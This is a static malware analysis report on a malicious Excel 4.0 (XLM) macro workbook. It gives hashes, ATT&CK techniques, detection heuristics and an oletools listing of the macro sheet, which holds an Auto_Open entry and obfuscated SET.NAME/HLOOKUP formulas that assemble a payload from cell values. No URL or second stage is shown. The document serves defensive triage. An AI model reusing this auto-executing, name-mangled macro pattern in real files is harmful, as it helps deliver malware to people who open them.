Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 318d3bd8c0ad62c5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:06 Authoring application: Microsoft Excel First seen: 2021-09-13
MD5: da63d8423f42f3180650463e3192894e SHA-1: b531ff6e90535189a0d528953b5e29704caeb1c4 SHA-256: 318d3bd8c0ad62c57a04f81c35c8a0c906df8c13ad91f0667040b312641e0283
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known method for executing malicious code. The presence of dangerous formula APIs within the macro sheet indicates an intent to run arbitrary commands. While no specific payload or URL was extracted, the technique used strongly suggests the execution of a second-stage payload.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6813 bytes
SHA-256: eb0054dcfb07cd53a53cdc2aec6c7578fb2407e31909ebaf09d17a9979cb7b28
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'DacDNaWrEhPL') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NDBUbFBoW
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B176 
' 0018     26 LABEL : Cell Value, String Constant - bayRsMhvtIF len=0 
' 0018     21 LABEL : Cell Value, String Constant - bmJkhL len=0 
' 0018     20 LABEL : Cell Value, String Constant - bSSvf len=0 
' 0018     25 LABEL : Cell Value, String Constant - CVNroOLLtj len=0 
' 0018     25 LABEL : Cell Value, String Constant - CWAvJRHYnM len=0 
' 0018     27 LABEL : Cell Value, String Constant - DacDNaWrEhPL len=0 
' 0018     20 LABEL : Cell Value, String Constant - dmjSA len=0 
' 0018     21 LABEL : Cell Value, String Constant - FEXYeq len=0 
' 0018     25 LABEL : Cell Value, String Constant - HrlGwQpSxD len=0 
' 0018     25 LABEL : Cell Value, String Constant - HuHVyTaryY len=0 
' 0018     25 LABEL : Cell Value, String Constant - KLFFPcacAe len=0 
' 0018     22 LABEL : Cell Value, String Constant - nMCemZN len=0 
' 0018     24 LABEL : Cell Value, String Constant - nZPGlIiSk len=0 
' 0018     22 LABEL : Cell Value, String Constant - OJJqLKC len=0 
' 0018     26 LABEL : Cell Value, String Constant - pECfyKMETrV len=0 
' 0018     25 LABEL : Cell Value, String Constant - SMoqkSUrGb len=0 
' 0018     23 LABEL : Cell Value, String Constant - VVCiKhpb len=0 
' 0018     23 LABEL : Cell Value, String Constant - XybDboWQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - YpwvsRXdm len=0 
' 0018     26 LABEL : Cell Value, String Constant - zPyrLRtTNWX len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NDBUbFBoW,R82,"",-820.00000000000000000000
'  NDBUbFBoW,R83,"",-997.00000000000000000000
'  NDBUbFBoW,R84,"",337.00000000000000000000
'  NDBUbFBoW,R85,"",645.00000000000000000000
'  NDBUbFBoW,R86,"",-83.00000000000000000000
'  NDBUbFBoW,R87,"",786.00000000000000000000
'  NDBUbFBoW,B97,"SET.NAME("bSSvf",0+VALUE("0"))",""
'  NDBUbFBoW,B99,"SET.NAME("bayRsMhvtIF",bSSvf)",""
'  NDBUbFBoW,B103,"SET.NAME("XybDboWQ",bSSvf)",""
'  NDBUbFBoW,B105,"SET.NAME("pECfyKMETrV",COUNTA(YpwvsRXdm))",""
'  NDBUbFBoW,B108,"SET.NAME("FEXYeq",COUNTA(HrlGwQpSxD))",""
'  NDBUbFBoW,B111,[],""
'  NDBUbFBoW,B113,"SET.NAME("SMoqkSUrGb","")",""
'  NDBUbFBoW,B116,"bayRsMhvtIF",""
'  NDBUbFBoW,B119,"SET.NAME("OJJqLKC",HLOOKUP("*",YpwvsRXdm,bayRsMhvtIF,FALSE))",""
'  NDBUbFBoW,B123,"bmJkhL",""
'  NDBUbFBoW,B125,"SET.NAME("CWAvJRHYnM",bSSvf)",""
'  NDBUbFBoW,B130,[],""
'  NDBUbFBoW,B135,"CWAvJRHYnM",""
'  NDBUbFBoW,B137,"nMCemZN",""
'  NDBUbFBoW,B139,"dmjSA",""
'  NDBUbFBoW,B142,"CVNroOLLtj",""
'  NDBUbFBoW,B144,"SET.NAME("HuHVyTaryY",VALUE(HLOOKUP("*",HrlGwQpSxD,CVNroOLLtj,FALSE)))",""
'  NDBUbFBoW,B146,"nZPGlIiSk",""
'  NDBUbFBoW,B150,"SMoqkSUrGb",""
'  NDBUbFBoW,B155,"XybDboWQ",""
'  NDBUbFBoW,B157,NEXT(),""
'  NDBUbFBoW,B159,"VVCiKhpb",""
'  NDBUbFBoW,B161,[],""
'  NDBUbFBoW,B165,"zPyrLRtTNWX",""
'  NDBUbFBoW,B168,NEXT(),""
'  NDBUbFBoW,B172,RETURN(),""
'  NDBUbFBoW,B202,"SET.NAME("KLFFPcacAe",B97)",""
'  NDBUbFBoW,B204,"YpwvsRXdm",""
'  NDBUbFBoW,B209,"SET.NAME("HrlGwQpSxD",R59C11)",""
'  NDBUbFBoW,B212,"SET.NAME("zPyrLRtTNWX",220)",""
'  NDBUbFBoW,B214,"SET.NAME("DacDNaWrEhPL",2)",""
'  NDBUbFBoW,B219,KLFFPcacAe(),""
'  NDBUbFBoW,B220,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.